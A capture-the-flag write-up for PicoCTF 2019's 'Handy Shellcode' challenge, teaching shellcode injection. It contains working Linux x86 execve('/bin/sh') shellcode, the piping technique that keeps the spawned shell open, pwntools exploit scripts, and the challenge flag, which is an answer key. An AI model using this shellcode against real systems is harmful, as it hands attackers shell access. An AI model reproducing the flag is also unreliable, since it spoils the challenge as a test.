PicoCTF19 Handy Shellcode
Challenge
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode on the shell server. Source.
Hints
You might be able to find some good shellcode online.
Solution
Let's view that directory:
samson@pico-2019-shell1:/problems/handy-shellcode$ ls -al
total 732
drwxr-xr-x 2 root root 4096 Sep 28 21:53 .
drwxr-x--x 684 root root 69632 Oct 10 18:02 ..
-r--r----- 1 hacksports handy-shellcode_5 39 Sep 28 21:53 flag.txt
-rwxr-sr-x 1 hacksports handy-shellcode_5 661832 Sep 28 21:53 vuln
-rw-rw-r-- 1 hacksports hacksports 624 Sep 28 21:53 vuln.c
As my user is currently samson
and I am not in that handy-shellcode_5 group, I cannot cat
the file flag.txt
. Let's take a look at the source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
It seems like it's almost prompting us to enter shellcode and execute it. More precisely, it takes in our input and echos it out with the gets()
and puts()
function calls.
Then we have this line here:
((void (*)())buf)();
This takes buf
, casts it to the void function pointer which returns nothing and then runs that function. So it'll execute whatever is at the address for buf
.
Let's test our assumptions....
samson@pico-2019-shell1:/problems/handy-shellcode$ ./vuln
Enter your shellcode:
A
A
Thanks! Executing now...
Segmentation fault (core dumped)
So what is shellcode? Basically it's raw assembly code to be executed.
So let's go to a handy website full of these shellcodes: http://shell-storm.org/shellcode/
But before we decide which shellcode to use, we need to know our end goal. We want to drop into a shell that will let us cat
or print
the file flag.txt
.
Let's start with dropping into a shell, is there a shellcode for /bin/sh
.... Yes.
Let's use this one: http://shell-storm.org/shellcode/files/shellcode-811.php
/*
Title: Linux x86 execve("/bin/sh") - 28 bytes
Author: Jean Pascal Pereira <[email protected]>
Web: http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
So we can see that the shellcode just inserts assembly commands onto the stack, and by modifying the control flow of our code to start executing what's on the stack, we can jump into our shell.
Fun fact, the following instructions push the string that maps to the path /bin/sh
on x86 processors.
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
But let's get that shellcode onto one line:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Let's try it?
samson@pico-2019-shell1:/problems/handy-shellcode$ ./vuln
Enter your shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Thanks! Executing now...
Segmentation fault (core dumped)
Wait that's not how we enter shellcode. We need the shell to interpret the \x
as bytes not strings.
samson@pico-2019-shell1:/problems/handy-shellcode$ python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" | ./vuln
Enter your shellcode:
1�Ph//shh/bin����°
̀1�@̀
Thanks! Executing now...
Awesome it worked but it won't hold a shell for us, so let's use cat
. To recap, if you cat file.txt
, it'll just print out the contents of the file. However, if you just type cat
, it will echo back whatever input you give it until you quit the program. Let's try it out.
samson@pico-2019-shell1:/problems/handy-shellcode$ (python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"; cat) | ./vuln
Enter your shellcode:
1�Ph//shh/bin����°
̀1�@̀
Thanks! Executing now...
id
uid=30646(samson) gid=8874(handy-shellcode_5) groups=8874(handy-shellcode_5),1002(competitors),30647(samson)
ls -al
total 732
drwxr-xr-x 2 root root 4096 Sep 28 21:53 .
drwxr-x--x 684 root root 69632 Oct 10 18:02 ..
-r--r----- 1 hacksports handy-shellcode_5 39 Sep 28 21:53 flag.txt
-rwxr-sr-x 1 hacksports handy-shellcode_5 661832 Sep 28 21:53 vuln
-rw-rw-r-- 1 hacksports hacksports 624 Sep 28 21:53 vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}
Flag
picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}
Alternative solution
The PicoCTF Shell comes with Python and Pwntools preinstalled so we could have leveraged this as well.
samson@pico-2019-shell1:/problems/handy-shellcode$ (python -c "import pwn; print(pwn.asm(pwn.shellcraft.linux.sh()))"; cat) | ./vuln
Enter your shellcode:
jhh///sh/bin��h�4$ri1�QjY�Q��1�j
X̀
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}
Alternative 2
With this alternative, we use pwntools from our local machine to attach and exploit remotely.
In this example, we use pwntools to ssh, then send in the prebuilt shellcode, print out the flag, and then drop the user into the shell.
#!/usr/bin/env python
from pwn import *
import sys
REMOTE = True
if __name__ == "__main__":
if REMOTE:
s = ssh(host='2019shell1.picoctf.com', user='samson', password="REDACTED", port=22)
sh = s.process('/problems/handy-shellcode/vuln')
else:
sh = process("./vuln", stdout=process.PTY, stdin=process.PTY)
sh.sendlineafter(':\n', asm(shellcraft.linux.sh()))
sh.sendlineafter('$ ', 'cat /problems/handy-shellcode/flag.txt')
sh.interactive()
$ python3.8 exploit.py
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] [email protected]:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process b'/problems/handy-shellcode/vuln' on 2019shell1.picoctf.com: pid 3796916
[*] Switching to interactive mode
picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}$ $ echo "I'm in the shell now"
I'm in the shell now
$ $ whoami
samson